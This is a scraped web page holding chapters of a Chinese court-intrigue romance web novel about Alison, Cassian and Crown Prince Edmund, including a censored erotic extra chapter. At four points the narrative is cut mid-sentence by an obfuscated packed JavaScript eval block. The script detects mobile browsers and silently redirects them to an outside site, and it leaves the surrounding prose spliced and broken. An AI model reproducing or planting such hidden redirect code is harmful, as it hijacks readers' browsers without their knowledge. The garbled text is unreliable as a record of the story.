艾莉森第一次感觉到她和卡西恩力量的差距之大，彻底地被压制住了。 “游戏结束了，大小姐。” 匕首在卡西恩手里优雅地转了个圈，他猛地握住刀柄，刺了下去—— “信。” 艾莉森看着他的眼睛，张嘴说出一个词。 刀锋停在离她的胸口半寸的位置。 “多弗勒男爵临行前，我让他带了一封信到军部，很快便会转交到殿下手中。” 艾莉森躺在地上，喘着气，心脏像是要跳出胸腔。 卡西恩保持着半跪的姿势，手中匕首再未进分毫。 片刻后，他松开踩着艾莉森的脚站起来，拍拍膝盖上的灰尘，将军用匕首收入腰间。 艾莉森迅速捡起枪，手指落在扳机上，瞄准眼前的敌人。 “你知道这没有意义，艾莉森。”卡西恩的语调里透着漠然，甚至还有一丝难以察觉的疲惫，他从口袋里摸出个玻璃瓶子，扔了过去。 那是莉拉的“药”。 “把这个交给埃德蒙。” “能说的我都说了，不要再试图深入布莱克家的事情，否则，下一次你不会有这么好的运气。” 他没有回头看她，便径自走了，乃至在混乱的矿工村中，甚至没有人注意到他的离开。 而她自己，也只能说在山上摔了一跤，和卡西恩—— 走散了。 “你在信里说，怀疑卡洛和诺森德尔的间谍接触过，猫头鹰的死与此有关。” 埃德蒙殿下的声音将艾莉森拉回现实。 “……但布莱克家族和诺森德尔的交易内容，尚未查清。” “当时情况紧急，我们不得不处理掉那名间谍。”艾莉森放在膝头的手不自觉地握紧，低头道：“是我调查不力。” “你已经做得很好了，艾莉森，”埃德蒙站起身来，走到她跟前，“没有什么情报比你的安全更重要。” 他伸出手，有些犹豫，最后轻轻地拍了拍她的肩膀。 一旁的艾文不由得扶了扶眼镜，即便在有些严肃的氛围下，还是忍不住暗自腹诽： 殿下，这种时候就不要拍肩了吧，怎么看都像是在宽慰下属。 “——关于卡西恩.布莱克，你有什么想法？” 埃德蒙的下一句话，却让向来冷静的辅佐官竖起了耳朵。 殿下果然还是在意，铺垫了那么久的公事，最后还是问出来了。 “卡西恩的立场很模糊，老实说，我不知道是否应该信任他，但他依旧是我们打入布莱克家族内部的一根钉子。” 提到卡西恩，艾莉森心中紧了紧。 她想不明白——卡西恩的杀意到底来自何处？ 如果只是因为她触及了布莱克家族和诺森德尔的交易，卡西恩早该有一千次以上的机会杀了她，又为什么要告诉她自己的那些过往？ 他说的话，到底有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“未来你会面临更多的危险，”埃德蒙紫水晶般的眸子温柔地注视着她，“该有一把趁手的武器。” 两人都没有注意到，一旁的艾文白眼已经翻到天上。 真是感人的君臣情谊啊。 但是殿下，你不觉得送未婚妻匕首实在是太不解风情了吗？ 您难道真的想听兰卡罗德小姐说：“属下万分感谢”吗？ 正如艾文想的那样，艾莉森.兰卡罗德小姐表达了对王储殿下的无限感激，并收下了他馈赠的武器，起身告辞。 就在侍从们为她拉开王储办公室大门的前一刻，埃德蒙却突然开口道：“等等，艾莉森。” 他白皙的脸上，似乎浮现出可疑的红晕。 最终，他拿出另一个黑色天鹅绒的盒子，比放匕首的那个小上不少。 “作为你的未婚夫，我想……霜雪节似乎还没送你礼物。” 艾莉森湛蓝的眼里有些惊讶。 埃德蒙殿下甚少提起他们的婚约，也难得以“未婚夫”自居，诚然，每次节庆，他的礼物都会准时送至兰卡罗德府，但今年的晚宴，实在发生太多意外了。 “多谢殿下，难为您还记得。”她笑起来，接过盒子，缓缓打开。 盒中躺着条铂金的项链，坠子是银月玫瑰形状的底座，花心处镶着枚成色极好的蓝钻，光线通过复杂的切割，像是有月光封印在其中。 “你喜欢吗？”埃德蒙有些迟疑地开口，他从未给她挑选过首饰，但第一眼见到这条项链，就觉得很适合艾莉森。 “很漂亮，我很喜欢。”艾莉森端详着那条项链，唇角勾起了笑容。 其实，那柄匕首已经够好，但作为一名女性，收到首饰，尤其是这么美丽的首饰，总是令人心情愉悦。 看来，埃德蒙对她这次调查的成果很是满意。 正在艾文感叹这对未婚夫妻总算有点正常的互动时，传令礼官却不合时宜地打断了他们： “奉陛下之名，宣皇太子殿下与艾莉森.兰卡罗德公爵小姐即可觐见。” 27. 口口番外 他摘下手套，扔在地上。 她盯着他骨节分明的手，曾经握着刀、也在舞会时牵着她轻轻旋转，口口而毫无伪装地逼近。 突然，她没由来地想起，他用那修长的手指口口自己的口口，随后口口地口口她沾染其上的口口的样子—— 那模样实在过于口口，但此刻她不该去想。 卡西恩按住了她的肩，把她逼进墙角，背后的冰冷让她打了个轻颤。 她抬起头，直视他的眼睛。她不想后退，不想示弱，她不敢去承认，自己的心里居然有一丝愧疚。 怒火在他眼中翻涌，但还有别的。 她曾经无数次地见过——在口口之间，在兰卡罗德家的花房，在他咬住她口口那一刻。那是口口。是男人看女人的口口。 她的心猛地跳了一下。这不该出现。这里是政务大厅的侧厅，门外是议会、是贵族、是体面、是规则。 可他似乎想把这些全撕掉。他只是口口口口口口口。 他的手捏住她的下巴，力道并不重，却让她无法转开头。那张带着怒意的脸近在咫尺，口口口口。 “你就这么想赢我？”他咬着牙，粗重的呼吸落在她的肌肤上。 “明明是你自己不肯输，卡西恩。”她冷笑。 只有她自己知道，此刻她脑子里已经没有方才那些争论，他的靠近，他的语气，他的眼神，她的口口微微颤抖着，如同过去那无数个夜晚一样。 她的口口在渴求着他。 而卡西恩也察觉到了，他恶意地笑了起来，粗暴地覆上她的唇。 那一瞬间，两个人都失控了。 她的口口口口口口口，口口口口口口口，口口口口口口口，口口口口口口口，露出精壮结实的口口。 两个人贴着墙角，口口口口口口口。 卡西恩抬起她的口，架在他口口，手掌扣住她的口口，滚烫的口口抵在她的口口上。 “啧……兰卡罗德中将，你看起来期待已久？” 她环住他的脖子，反唇相讥：“我看是你想口口口口口口口。” “有种你别口口啊。” 他冷哼一声，直接口口口口。 口口口口口口回荡在房间里。 “艾莉森，告诉我，现在口口口的人是谁？” 她被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不管怎么看，都是您更紧张啊，埃德蒙殿下。 眼前的银发少年难得地有些无措，开口解释道： “陛下通常会在周二召见我，但……” 今天并不是周二。 他也没有称呼“母亲”。 在这座宫殿里，也许只有臣子和君主。 埃德蒙没有再多说什么，“哒哒”的脚步声穿过寂静的长廊，两旁的宫廷卫士如同雕塑般伫立着，巨大的落地窗外，皇宫花园里,早春的景色空旷得有些寂寥。 这里是帝国权力的中心。 按照官方说法，陛下的长子长年卧病，无法胜任皇太子之职，这才立次子埃德蒙为储，然而,坊间却一直有大皇子是被陛下软禁的谣言。 毕竟，陛下的丈夫，亚历克斯.雷恩一世陛下—— 是被赶下王座，最后“病死”在位于王都北边的霜宫的。 到现在,也不过短短十年。 走在冰冷肃穆的大理石地砖上，艾莉森想起凯恩曾经说过的话： “陛下是帝国最锋利的一把剑。” 女皇陛下突然在非常规的时间里同时传召埃德蒙和自己，真的只是想“见一面”这么简单吗？ 艾莉森下意识地握紧手心，调整步伐，跟在埃德蒙身侧。 索菲亚陛下在位于克罗纳宫南侧得长星厅等候他们。 相比觐见大厅和小议政厅来说，这里更私人化。 艾莉森见到她的时候，女皇穿着条宝石蓝的常服裙子，目光落在厅内悬挂的肖像上,只留给二人一个背影。 画中,年幼的王子依偎在母亲的膝侧，紫水晶的眸子有些惶然地看向画师。 只一眼,艾莉森便知道,那是小时候的埃德蒙殿下。 他的长相八成来自母亲，但发色和眼睛，却来自雷恩一世。 埃德蒙单膝跪下，艾莉森在他身后屈膝行礼—— 在女皇开口前，其他人是不允许说话的。 皇帝陛下转过身来，温和地说： “埃德蒙，你来了。” 听到她的召唤，埃德蒙站起身来，艾莉森亦跟着起身，垂着眼眸，姿态恭敬。 陛下的声音自上方响起： “这位便是兰卡罗德小姐了？” “是，陛下，她就是兰卡罗德家的艾莉森。”埃德蒙回答道。 “抬起头来。” 艾莉森依言抬头，正对上女皇冰蓝色的眸子。 她不禁打了个寒颤。 任何描述都显得苍白，那是帝王的眼睛。 “真是个漂亮的姑娘，你说是吗，埃德蒙？”女皇笑了起来，像在观赏一只刚刚进献上来的小鸟。“怪不得他们都说，兰卡罗德家的女儿和她母亲当年一样美丽。” 她的目光微微下移，落在艾莉森的腹部,话锋一转,脸上的笑容,逐渐变为居高临下的审视。 “但只有美丽，是无法为帝国诞下合适的继承人的。” “陛下——”埃德蒙的语气难得地带上了几分急切和尴尬，但女皇却冲他摆了摆手，挑了挑眉，半开玩笑似地打断他： “埃德蒙，朕又不会吃了她。” 女皇转身走到书桌前，裙摆在地面上优雅地摩挲着，手指轻敲黑檀木桌面。 “前些天，朕见到你的父亲，他说你是个聪明的孩子。” 她起桌面上的折柄眼镜，侧过身子，向艾莉森招手， “兰卡罗德小姐，请过来。” 艾莉森不敢违逆，靠近那张桌子—— 台面上摆着一张地图。 ——阿尔特蒂亚的地图。 “朕听说，你和埃德蒙一样，在皇家军事学院学习。” “前些日子，皇室的情报机构，抓获了诺森德尔渗透我国的间谍。” 艾莉森下意识地看向埃德蒙，对方也是一脸惊讶。 两人的神色没能逃过索菲亚女皇的眼睛，她的手指抚过地图，落在阿尔特蒂亚北方的边界。 “上一次,阿尔特蒂亚和诺森德尔的战争,已经是三十年前,”女王皱着眉头,语气肃杀,“但这些蛮族,从未放弃过对我国北境的野心。” “埃德蒙，你的报告朕看了，这次的事情，处理得很好。” “不知道兰卡罗德小姐在其中，发挥了多大作用？” “陛下，”埃德蒙神色未变，但绷紧的肩膀和紧握的拳头却暴露了他的情绪，“是我自作主张了……” “朕说了，你做得很好。”索菲亚女皇轻笑,并不看他，只是注视着眼前的艾莉森，“这是一个很好的证明自己能力的机会，不是吗，兰卡罗德小姐？” 被狮子盯上，大概就是这样的感觉。 简简单单的一句话，却分明在敲打埃德蒙和自己。 不论在皇家军事学院，还是在兰卡罗德家的舞会，甚至在沃尔晶矿—— 陛下的眼睛，无所不在。 艾莉森的指尖无声地拽住了裙摆，她缓缓吸了口气，尽量让自己平静地说： “殿下的信任，对我来说是无上的荣幸。” 女皇对她的回答似乎很满意，冰蓝的眼睛里似乎有了些温度，微微颔首： “兰卡罗德公爵在教育子女方面很有心得，不论是你，还是你的两位哥哥，都是帝国年轻人的楷模。” “说起来，布莱克公爵的儿子们，也和你们在同一所学校，可惜朕还无缘见得。听埃德蒙说，和你们同届的那位，是叫做……卡西恩，是吗？” 从女皇口中听到卡西恩的名字，艾莉森愣了愣，随即低下了头。 “传闻中，他和兰卡罗德小姐似乎……有些交情？” 埃德蒙终于听不 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但不知是幸还是不幸，不论是索菲亚，还是维罗妮卡，生下的都是儿子。 就在所有人都以为这件婚事没希望了的时候，艾莉森出生了。 以婚姻为交换条件，公爵坚定地站在了女皇的一边。 中间发生了太多变数，使婚事一拖再拖—— 加上那位兰卡罗德小姐的名声欠佳,更使得索菲亚女皇不得不考虑这桩交易是否还有存在的必要。 直到她听说了兰卡罗德家晚宴上发生的事情。 向来对这桩婚约态度消极的埃德蒙，居然主动表态，说这位兰卡罗德小姐是他最合适的王妃人选。 不论是作为母亲，还是作为皇帝，索菲亚都认为，自己有必要见一见这位传闻中的姑娘。 而现在，她有了答案。 谨言慎行的儿子，为了维护这位小姐，居然不顾宫廷礼节，打断她对兰卡罗德小姐的问话？ 今时不如以往，诺森德尔虎视眈眈，战争一触即发，威廉公爵却有意隐藏炼金科技的力量，自己几次暗示，他都态度暧昧。 索菲亚女皇并非怀疑兰卡罗德家的忠诚，也不是不能理解公爵的顾虑—— 作为曾经的盟友，她并不想把事情做得太绝， 尤其是布莱克家老狐狸的立场还十分摇摆的情况下。 既然如此，眼前的小姑娘还需要发挥更大的作用，才能配得上皇太子妃的位置。 索菲亚女皇主意既定，缓缓开口，“兰卡罗德小姐，朕就直说了——想必你也知道，诺森德尔对我国的威胁。” “阿尔特蒂亚具有强大的魔法师军团，但近年来，越来越多的贵族面临魔血断绝的困境。” “魔血断绝”。 卡西恩的那个故事，一切的悲剧，都是从布莱克家的魔血断绝开始。 想起那个人，艾莉森的心竟然有些刺痛。 她暗自摇了摇头，像是要将此刻不合时宜闯入脑中的想法甩开，但女王接下来的话，却让艾莉森有些措手不及。 “我们需要为未来可能发生的一切做好准备，只有魔法师是不够的。” “帝国需要炼金科技，而你，兰卡罗德小姐，将是其中的关键。” 29. 偏移值：4% 霜雪节假期过去了，皇家军事学院的学生们，迎来了他们的返校日。 赛琳.罗德里克穿上久违的军装制服，在校园里寻找着自己熟悉的身影。 她曾拜托过艾莉森帮助自己的邻居，不久后，失去男主人的家庭果然收到了来自兰卡罗德基金会的善款。 从此以后，在社区中，赛琳成了能在权贵面前“说得上话”的人。 整个假期，来找她的人络绎不绝——大多是在矿区遭遇不幸的家庭——其人数远远超过了她的想象。有些人拿着十多年前欠下的补偿款给她看，还有人向她展示父母因魔血病而死，留下的结晶残骸。 赛琳一遍遍地告诉他们，自己只是一介学生，无能为力，然后看着他们眼中渺茫的希望渐渐熄灭。 谁又忍心责怪他们呢？生活是如此苦痛，他们只是想法设法地寻找一切可能的门路而已。 在王都歌舞升平的幻象里，他们像被遗忘了。 赛琳只觉得深深的无力。 她迫切地渴望着见到艾莉森，自己有太多话想要跟她说。 不知为何，她总有种莫名的信任：艾莉森的话，一定能够理解的。 而当赛琳终于发现了人群中的友人时，却不禁吓了一跳。 在她印象里，艾莉森向来高贵美丽，带着凛然不可侵犯的气质。 此刻的她却带着深深的黑眼圈，神色中难掩疲态，头发因为疏于打理而干枯分叉——依旧是出色的美人，却是肉眼可见的憔悴。 “艾莉森？”赛琳迟疑地开口。 “赛琳？” 迎接艾莉森的，是来自舍友的热烈拥抱，这时候，她才终于有了些回到日常生活的实感。 复学前最后一段日子，她几乎是被半软禁似地困在克罗纳宫。 女皇陛下表面上让她当说客，实际上却拿她当人质，想尽办法让威廉公爵同意交出炼金科技的开发和使用权限。 恩威并施，糖果加大棒。 等到公爵终于让步了，和军部无休止的关于如何利用炼金科技在阿尔特蒂亚军队进行改革的谈判又开始了—— 怎么改，谁来改，什么时候改…… 凯恩同时作为兰卡罗德家和军部的成员，自然列于谈判队伍之中。 见到她的时候，二哥说：“这下知道了吧，我为什么不想你嫁给殿下。” 艾莉森无奈望天，眼下这情况，索菲亚女皇明显不打算轻易放过她。 想解除婚约，谈何容易？ “殿下也是可怜，从小生活在这么严苛的环境下，连终生大事也被当成政/治筹码，换成是我，早就疯了。” 凯恩有些感概，他十六岁的时候还在皇家军事学院跟麦克雷准将斗智斗勇，而埃德蒙殿下虽然也在军校，但充其量挂个名，几乎不能参加什么学生活动。 但这话也提醒了艾莉森。 如果陛下那边行不通，埃德蒙殿下呢？ 在原作里，解除婚约的不就是殿下本人吗？ 她打定主意，终于找到个机会私下和埃德蒙见面，试探地问王储殿下对这桩婚事的态度。 温和的王子，在听到她的问题后，高深莫测地笑了，然后甩给她一个反问句： “艾莉森，你希望我是什么态度呢？” 不得不说，殿下真是把说话的艺术掌握得炉火纯青。 在这样忐忑的心情中，又是好几个辗转反侧的夜晚。 等到了返校日前夕，陛下，军部和公爵才终于达成了一致，被迫围观嘴仗全程的艾莉森，这才能拖着疲惫的身体回到兰卡罗德府邸。 而她那万恶的二哥，居然还炫耀似地向她表示： “哥哥明天可要从早睡到晚好好补上一觉，小朋友就好好去上学吧。” 艾莉森觉得自己对凯恩的兄妹之情受到了严重的考验。 无论如何，经历了矿井的一堆破事，卡西恩的背刺，和宫廷里无休无止的争吵和博弈后，回到校园能见到赛琳，艾莉森还是十分开心的。 但艾莉森依旧敏锐地发现了赛琳的些微改变。 她依旧明媚阳光，眼里却似乎多了丝欲言又止的忧虑。 正想开口询问，不远处传来另一道熟悉的声音：“艾莉森——” 是弗兰克，还有维克多。 四人好不容易又凑到到了一块，关于假期，少年人们总有说不完的话题。至少在这瞬间，他们可以忘却校园外种种烦恼，享受友情带来的欢愉。 “不过艾莉森，我倒是听到了奇怪的传闻……” 四人小组里消息最灵通的弗兰克，自是不会放过聊八卦的机会，坏笑着问：“我听那些贵族说，你被卷入了皇太子殿下和卡西恩队长的三角关系？了不起哦。” 艾莉森尴尬得恨不得找个地缝钻进去，被与她无关的贵族们议论是一回事，被朋友舞到自己面前，那又是另外一回事了。 “什么什么？和殿下？还有卡西恩队长？”赛琳听他这么一说，来了兴趣，睁大了眼睛，“小说果然没骗人啊……” 艾莉森无语。艾莉森叹气。艾莉森想澄清。 然而这一切复杂的心情，都在她看到迎面而来的人时，烟消云散。 是卡西恩。 独来独往的黑发少年，今日处境却大不一样，他被贵族学生们簇拥着，脸上依旧挂着笑容，却没有平时艾莉森见惯的冷嘲意味，倒像是戴着名为“亲和力”的面具似的。 艾莉森很快便明白，由于此前的那场舞会，卡西恩很大程度上得到了布莱克公爵的认可，地位自是与从前不同。 更甚者，在矿区调查后他回到布莱克家，又和公爵说了什么呢？ 卡西恩正和人交谈，转过头来，恰好对上艾莉森的目光。 他的唇角勾了勾，那张面具像是被撕开了半条口子，又稍纵即逝。 “卡西恩队长！” 即使实战演练已过去了一段时间，赛琳还是习惯称呼他“队长”。 她并没有感觉到两人之间气氛不对，三步并作两步，像只小兔子一样蹦跶到了卡西恩面前。 然而，她没有得到预想中的回应，卡西恩退后一步，刻意跟她拉开了距离。 这下，就连赛琳也感觉到了他那股子“我们不熟”的意味。 “罗德里克，别以为你和兰卡罗德小姐混在一起，就能随意接近卡西恩大人。”一名女性贵族学生瞥了眼艾莉森，轻蔑地笑道：“就算是贵族之间，也有格调上的差别。” “你什么意思啊！”弗兰克一听这夹枪带棍的话，哪里还忍得了，踏步上前：“卡西恩队长和我们一起参加实战演习的时候，你们这些家伙根本……” “是金子总会发光的。”另一名贵族追随者也拦在卡西恩的面前，“一次合作而已，卡西恩大人如此优秀，需要更能配上他身份的伙伴。” “你……你们……太，太……过过……过……分了！”维克多握着拳头，眼里似乎要喷出火来，但一着急，结巴的程度却更厉害。 “那……那……你想……想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826047|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎……怎么……样呢？” 那贵族学着维克多说话的样子，挤眉弄眼，人群里顿时爆发出一阵哄笑。 名为“阶级”的墙横亘在两组人马之间，仿佛要将过去与现在撕裂开来。 “卡西恩，这就是你的选择吗？”艾莉森直视着沉默的少年，语气有些僵硬。 胸口仿佛有火在烧，疲倦让她的怒意更胜，当时在矿区尚未来得及爆发的情绪，在此刻逐渐向四肢蔓延，仿佛要将艾莉森烧穿——比起当时卡西恩想要杀自己，更让她恼火的，是他此刻的态度。 被众多贵族学生众星捧月似地簇拥追捧着，这才是你真正想要的？ “够了。”卡西恩终于开了口，脸上露出艾莉森熟悉的惯常冷笑—— “老实说，和你们在一起也挺有意思的，但擅自把我当作‘朋友’，也未免太抬高自己的身价了。”他的目光在众人身上扫了一圈，语气里满是嘲弄，“天真傻妞，结巴佬和话痨，兰卡罗德小姐交友的眼光真是独特。” 突然，白色的手套狠狠地甩在了他的脸上。 艾莉森显然已经忍无可忍，“这是战书，卡西恩。” “——我要和你决斗。这段时间的事情，我们一次算个清楚。” 学生们骚动起来。 第二学期开学第一天，绯闻三角里的两人便闹成这样？ 这情节变化未免有些太刺激了。 卡西恩摸了摸脸，弯下身去，将艾莉森的手套握在手里，俊美的脸上仿佛覆了层严霜。 他走上前，将手套递还给艾莉森，姿态从容又优雅，比贵族还要贵族。 “真有意思，兰卡罗德小姐，你居然为了这些平民要和我决斗？”他的声音里带着股高高在上的意味，“……你比我想得还要愚蠢。” 艾莉森感觉自己和他多说一句，都要忍不住冲上去把他暴打一顿，她试图维持最后的兰卡罗德家的风度，猛地抓过手套，恨恨地说： “我早就说过了，卡西恩，别太自信。” 卡西恩突然笑了一下，金绿色的眼里，似乎有些说不明的意味，看在围观人群的眼里，却和挑衅无疑。 “时间地点你定，我自会奉陪。” 他转身，甚至不再理会想要跟上他的贵族学生，径自走了。 “队长他……为什么？”赛琳看着他的背影，不敢相信这居然是她曾经在实战演练里无比信任的人，“只是一个霜雪节而已啊。” 维克多的反应更激烈些，他从鼻子里“哼”了声，说：“贵、贵族……都、都……这样……就、就会踩着我们往上爬……” 弗兰克却是知道一些内情的，他有些犹豫地看着艾莉森，不知该怎么开口——抓耳挠腮，半天憋出一句： “队长的态度反差也太大了！” 他压低声音，凑在艾莉森耳边：“艾莉森，那件事的后续，该不会……是和队长一起吧？” 艾莉森点了点头。 “那……？” “之后我再跟你解释吧……很复杂。” 弗兰克看她神情，不好再多问，只好压下快要爆棚的好奇心，目送她回到宿舍。 而艾莉森，则在赛琳不注意的时候，偷偷拿出那只已经被她攥得有些发皱的手套，在那里面，分明塞着一件异物。 卡西恩还给她的时候，艾莉森便已经察觉到了。 一张小小的纸条。 艾莉森将它平展开，只见上面用花体写着行字： “凌晨，西侧钟楼。” 30. 偏移值：4% 艾莉森摩挲着那张纸条，有些拿不定主意，到底要不要去赴约。 卡西恩凭什么认为，自己就该乖乖地跟着他的节奏走？ 她在窗前来回地走着，越想便越觉得焦躁，连赛琳敲门也差点没听见。 “艾莉森，你看是谁来了？” 在赛琳身后站着的人，正是炼金研究院的首席，艾莉森的堂姐—— 海蒂.兰卡罗德。 “今天有事过来，顺便就来看看你和赛琳。”海蒂朝艾莉森挥了挥手，算是打过了招呼，随即好奇地观察着两人的宿舍，赞叹道：“真不错啊，两人一间，设施齐全，不愧是培养未来军官的地方。” “海蒂姐，难得过来，我有些小点心，你要尝尝吗？”赛琳连忙从自己的抽屉里拿住用白色手帕包着的饼干，笑道：“这是我妈妈亲手烤的，要我和艾莉森分享！” “不用了，我刚刚在你们院长办公室灌了一肚子小蛋糕。”海蒂摸了摸自己的腹部，“天天坐在桌前，再吃下去，只怕就要被传‘炼金研究院首席未婚先孕道德败坏了’。” “开会开会，那些老头子也不嫌烦，我提出意见，他们又说什么‘你太年轻了，对这个问题的看法值得商榷’，‘海蒂小姐，你认为炼金科技是什么？’” 海蒂拔下发簪，又胡乱簪上，把头发一通乱揉：“结果最后又回到第一版方案，真是浪费我的时间！” 她这次来访，便是根据王室和兰卡罗德家商议的结果，前来商讨炼金研究院在皇家军事学院里建立试点课程的方案，从而在学生中尽早培养一批对炼金科技有所了解的青年军官，尽快开始阿尔特蒂亚军队体系的改革。 其实不需要等海蒂抱怨，官僚系统的效率之低下，只要是个年轻人，谁能受得了？ 说起这个，艾莉森同样是满满的怨气和苦水。 两人一通牢骚下来，赛琳见她们越说越气，宿舍的小茶几被拍得摇摇欲坠，遂提议道： “呃，两位兰卡罗德小姐……要不要去校园散个步？” 初春时节，两旁的树木已经能看到发芽的新叶，一群刚入学的新生，兴奋地交谈着，从姐妹两人身边跑过。似乎是被这样青春的气息感染，海蒂的情绪似乎舒缓了些。 “艾莉森，成为二年级生感觉如何？” 艾莉森却还是有些郁郁，不禁苦笑，去年这个时候，她对父亲说要掌握自己的未来，但如今看来，似乎并没有什么事是她自己能掌控的。 家族，王室，诺色德尔，布莱克家，还有—— 卡西恩。 一开始她明明想要避开他的。 像是拼命自救的落水者，被迎面而来的激流裹挟着前进，小小的挣扎，根本撼动不了命运的力量。 她只觉得深深的无力。 “我觉得自己挺没用的。” 海蒂盯着她看了一会儿，走到路边的长椅旁坐下来，伸了个懒腰，笑道：“自从叔父大人的命令下来，我熬了好几个通宵，今天又得应付院方的臭老头，再这样走下去，我怕我能睁着眼睡过去。” 说着，海蒂闭上眼，居然真就这样打起盹来。 “……海蒂姐？” 海蒂睁开一只眼，随即拍了拍身旁空着的座位： “艾莉森，你也坐下来歇会儿？” 艾莉森依言坐在她身边，学着海蒂的样子闭上了眼，但她心绪纷扰，怎么也没办法真的睡着。 “感受到什么了吗？” 海蒂的声音在耳畔响起。 “……有点冷。” 海蒂扑哧笑了出来，“我不是说这个。” 她有些犹豫，斟酌着措辞：“我以为你对于现在事情的进展，应该更兴奋一些。” “你听叔父大人说，你主动提出来皇家军事学院，包括后来你带着赛琳来找我——我觉得你能下定决心去改变，这是很好的，我替你开心。” 她碧绿色的眼眸里满是关切，但还有别的东西—— “艾莉森，你注意到了吗？” “我们正站在时代的变革点上。不论那些老头子说什么，叔父大人，甚至是陛下——没有人能够阻止。” “你，还有我，我们会改变历史。” “叔父大人终于同意让炼金科技进入到更广泛的领域——很快，就有更多的人能够享受到魔法带来的便利，而不是被一小撮的贵族垄断。” “这里面有你的功劳——无论你最开始的目的是什么，时代的齿轮已经在滚滚向前。” “你应该觉得幸运，而不是觉得自己无能。” 她顿了顿，厌恶地皱了皱眉：“当然了，要是学院的老头们能被这齿轮碾成渣，那就更好不过。” 艾莉森愣住了。 海蒂的话，似是一道闪电，照亮了她心中的迷雾。 她光顾着自己是多么的被动，陷入情绪的泥沼，却差点忘记了前进的方向； 她以为在命运的棋盘上，她可以见招拆招，却忽略掉自己也可以主动进攻。 不知不觉，她掉进了自己的思维陷阱。 正如海蒂所说，机会就摆在眼前，只要她向前一步，便是无限的可能——而她居然还在纠结，该怎么去应对卡西恩？ 她的眼神重新变得清明而坚定，既然如此，答案就变得很简单了。 她需要关注的事情，根本就不是布莱克家，甚至也不是卡西恩—— 而是在眼前一团乱麻的局势下，如何找到自己的破局之路，而这条路，其实已经铺在了眼前。 “所以，等正式开学，就会安排新课程了吗？” “对，从基础理论开始，然后也会安排相关武器的使用，包括炼金魔导枪械，载具，还有通信相关……这会是一场变革。尤里和妮娜，他们会来担任老师，如果不是我这边有事走不开，我也想来呢。” 海蒂看了看四周茂盛的树木，修建整齐的草坪，不由得叹了口气。 “不愧是皇家军事学院，到处都是‘不差钱’的味道。希望陛下和军部能比叔父大人慷慨些，看在我们同时做着研究和教学的份上，经费能发两份就好了……” 说罢，她竖起手指，对艾莉森做了个“嘘”的动作。 “这样的话，你可别告诉别人，不符合我的身份——作为帝国最神秘研究机构的头头，谈钱未免庸俗了点。” 堂姐，你方才还在许诺宏伟的未来图景，现在却开始谈经费，是不是反差有点太大了？ 艾莉森不禁腹诽。 两人又闲聊了几句，眼看天色渐晚，海蒂理了理裙摆，站起身来。 “时间不早了，还有些交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826048|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接的事情要做。等尤里他们过来的时候，还希望你能照顾一下——他们很少离开研究院，论人情世故，恐怕还不如我。” 海蒂叹了口气，又拉起艾莉森的手，“拜托你了，亲爱的堂妹。” “我知道。” “对了，”海蒂似乎突然想起一件事，敛起了脸上的笑容，神情变得凝重起来，“你上次给我的那个小瓶子……” 那是莉拉死前攥在手里的“药”，来自伪装成矿场主妻子的诺森德尔女间谍。 当时，卡西恩把这瓶药交给了艾莉森，而她并没有将这个物件交给埃德蒙，而是转交到了海蒂手上。 “是从哪里来的？” 想起矿区的事，艾莉森不由得有些神伤，就在海蒂几乎以为她不会回答的时候，艾莉森说： “是从一个诺森德尔女人那里得到的。更多的事情，恐怕不太方便讲了。” 作为经常和军部有合作的机构负责人，海蒂当然知道这意味着什么。 但当她听到“诺森德尔”四个字时，还是变了脸色。 “该死。”海蒂下意识啃着指甲，“那个传闻……搞不好是真的。” “什么传闻？” “诺森德尔，他们似乎在把人……作为炼金科技的实验对象。”海蒂极力克制着自己的情绪，但紧蹙的眉头却泄漏了她的想法。 “艾莉森，这瓶药的成分，我还需要些时间来解析。有消息，我会再来找你。” 她压低声音，确认周围没有别人，悄声道： “不要告诉任何人关于这瓶药的事。” “好。” 艾莉森慎重地点了点头。 看着海蒂离开的身影，艾莉森心里却有一股异样的感觉—— 有些违和的地方。 但任凭她此刻绞尽脑汁，思维却仿佛覆上了层薄雾，那个答案明明呼之欲出，却又遥不可及。 直到夜幕降临，铜钟敲响了二十四下。南侧钟楼顶层的房间，卡西恩在那里等着她。 看到他的时候，艾莉森突然想明白了。 ——得到瓶子，是在卡西恩袭击自己以后。 “你如果不希望我继续追查布莱克家和诺森德尔的交易，为什么还要把那瓶‘药’给我？” “只要毁掉这个瓶子，线索便断了——一切又需要从头开始。在此期间，布莱克家有大把的时间和机会来隐瞒罪状。” 黑发少年倚着钟楼的窗户，并不回答她的问题。 “你知道这座钟楼，有个传说吗？”卡西恩不回答她的质问，望向无边夜色。“以前，这个学校有一对恋人，他们来自敌对的家族。” 